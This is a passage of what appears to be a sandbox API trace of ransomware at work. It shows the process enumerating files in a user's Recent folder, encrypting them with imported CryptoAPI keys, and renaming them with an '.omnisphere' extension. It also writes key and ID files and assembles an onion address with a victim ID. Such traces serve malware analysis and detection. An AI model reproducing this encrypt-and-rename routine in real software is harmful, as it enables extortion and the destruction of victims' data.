(lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.412] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0127.413] CloseHandle (hObject=0x28c) returned 1 [0127.413] GetProcessHeap () returned 0x1600000 [0127.413] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0127.413] GetProcessHeap () returned 0x1600000 [0127.413] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1656d60 | out: hHeap=0x1600000) returned 1 [0127.413] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0a33ca5, ftCreationTime.dwHighDateTime=0x1d5826c, ftLastAccessTime.dwLowDateTime=0x1e662983, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x1e662983, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x3e4, dwReserved0=0x0, dwReserved1=0xd3, cFileName="Y1OgNpUhXWMtOPL3N.lnk", cAlternateFileName="Y1OGNP~1.LNK")) returned 1 [0127.413] GetProcessHeap () returned 0x1600000 [0127.413] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xac) returned 0x16f65a8 [0127.413] PathCombineW (in: pszDest=0x16f65a8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="Y1OgNpUhXWMtOPL3N.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Y1OgNpUhXWMtOPL3N.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Y1OgNpUhXWMtOPL3N.lnk" [0127.413] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0127.413] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Y1OgNpUhXWMtOPL3N.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\y1ognpuhxwmtopl3n.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.414] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=996) returned 1 [0127.414] GetTickCount () returned 0x115fcac [0127.414] GetTickCount () returned 0x115fcac [0127.414] GetTickCount () returned 0x115fcac [0127.414] GetTickCount () returned 0x115fcac [0127.414] GetTickCount () returned 0x115fcac [0127.414] GetTickCount () returned 0x115fcac [0127.414] GetTickCount () returned 0x115fcac [0127.414] GetTickCount () returned 0x115fcac [0127.414] GetTickCount () returned 0x115fcac [0127.414] GetTickCount () returned 0x115fcac [0127.414] GetTickCount () returned 0x115fcac [0127.414] GetTickCount () returned 0x115fcac [0127.414] GetTickCount () returned 0x115fcac [0127.414] GetTickCount () returned 0x115fcac [0127.414] GetTickCount () returned 0x115fcac [0127.414] GetTickCount () returned 0x115fcac [0127.414] GetTickCount () returned 0x115fcac [0127.415] GetTickCount () returned 0x115fcac [0127.415] GetTickCount () returned 0x115fcac [0127.415] GetTickCount () returned 0x115fcac [0127.415] GetTickCount () returned 0x115fcac [0127.415] GetTickCount () returned 0x115fcac [0127.415] GetTickCount () returned 0x115fcac [0127.415] GetTickCount () returned 0x115fcac [0127.415] GetTickCount () returned 0x115fcac [0127.415] GetTickCount () returned 0x115fcac [0127.415] GetTickCount () returned 0x115fcac [0127.415] GetTickCount () returned 0x115fcac [0127.415] GetTickCount () returned 0x115fcac [0127.415] GetTickCount () returned 0x115fcac [0127.415] GetTickCount () returned 0x115fcac [0127.415] GetTickCount () returned 0x115fcac [0127.415] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x16688a0) returned 1 [0127.416] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x16396e8) returned 1 [0127.416] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0127.416] CryptDestroyKey (hKey=0x16396e8) returned 1 [0127.416] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0127.416] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3e4, lpName=0x0) returned 0x288 [0127.416] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3e4) returned 0x1480000 [0127.417] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668570) returned 1 [0127.417] CryptImportKey (in: hProv=0x1668570, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x16394e8) returned 1 [0127.417] CryptSetKeyParam (hKey=0x16394e8, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0127.417] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0127.418] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.418] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.418] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.418] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.418] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.418] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.418] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.418] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.418] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.418] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.418] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.418] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.418] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.418] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.418] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.418] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.418] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.418] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.419] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.419] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.419] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.419] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.419] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.419] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.419] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.419] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.419] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.419] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.419] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.419] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.419] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.419] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.419] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.419] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.419] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.419] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.420] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.420] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.420] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.420] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.420] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.420] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.420] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.420] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.420] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.420] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.420] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.420] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.420] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.420] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.420] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.421] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.421] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.421] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.421] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.421] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.421] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.421] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.421] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.421] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.421] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.421] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.421] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.421] CryptDestroyKey (hKey=0x16394e8) returned 1 [0127.421] CryptReleaseContext (hProv=0x1668570, dwFlags=0x0) returned 1 [0127.421] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x3e4, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0127.421] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0127.422] GetProcessHeap () returned 0x1600000 [0127.422] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2bc) returned 0x16f2678 [0127.422] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Y1OgNpUhXWMtOPL3N.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\y1ognpuhxwmtopl3n.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Y1OgNpUhXWMtOPL3N.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\y1ognpuhxwmtopl3n.lnk.omnisphere")) returned 1 [0127.423] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Y1OgNpUhXWMtOPL3N.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Y1OgNpUhXWMtOPL3N.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Y1OgNpUhXWMtOPL3N.lnk.omnisphere.id" [0127.423] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Y1OgNpUhXWMtOPL3N.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\y1ognpuhxwmtopl3n.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0127.423] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0127.425] CloseHandle (hObject=0x3c0) returned 1 [0127.425] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0127.425] CloseHandle (hObject=0x288) returned 1 [0127.425] SetEndOfFile (hFile=0x28c) returned 1 [0127.425] FlushFileBuffers (hFile=0x28c) returned 1 [0127.431] CloseHandle (hObject=0x28c) returned 1 [0127.432] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Y1OgNpUhXWMtOPL3N.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0127.432] GetProcessHeap () returned 0x1600000 [0127.432] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16f4398 [0127.432] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0127.432] GetProcessHeap () returned 0x1600000 [0127.432] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16f1bb8 [0127.432] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16f1bb8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0127.432] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0127.432] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0127.432] GetProcessHeap () returned 0x1600000 [0127.432] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16d8328 [0127.432] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16d8328, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0127.432] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", 